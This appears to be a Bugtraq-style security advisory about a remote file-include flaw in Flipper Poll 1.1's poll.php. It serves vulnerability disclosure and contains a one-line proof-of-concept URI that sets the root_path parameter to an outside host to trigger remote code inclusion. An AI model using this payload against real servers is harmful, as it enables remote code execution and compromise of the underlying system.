Flipper Poll Poll.PHP Remote File Include Vulnerability

Bugtraq ID:	18461
Class:	Input Validation Error
CVE:
Remote:	Yes
Local:	No
Published:	Jun 14 2006 12:00AM
Updated:	Feb 02 2007 08:08PM
Credit:	SpC-x is credited with discovering this vulnerability.
Vulnerable:	Website Scripts Flipper Poll 1.1
Not Vulnerable:

Flipper Poll Poll.PHP Remote File Include Vulnerability

Flipper Poll is prone to a remote file-include vulnerability because it fails to properly sanitize user-supplied input to the application.

An attacker may leverage this issue to have an arbitrary remote file containing malicious script code execute in the context of the webserver process. This may allow the attacker to compromise the application and the underlying system. Other attacks are also possible.

Flipper Poll Poll.PHP Remote File Include Vulnerability

This vulnerability can be exploited using a web browser.

The following proof-of-concept URI is available:

http://www.example.com/poll.php?root_path=http://www.example2.com

Flipper Poll Poll.PHP Remote File Include Vulnerability

Solution:
Currently we are not aware of any vendor-supplied patches for this issue. If you feel we are in error or if you are aware of more recent information, please mail us at: mailto:[email protected].

Flipper Poll Poll.PHP Remote File Include Vulnerability

References:

• Flipper Poll Homepage (Duncan Campbell)
  
• Flipper Poll (root_path) Remote File Inclusion (SpC-x)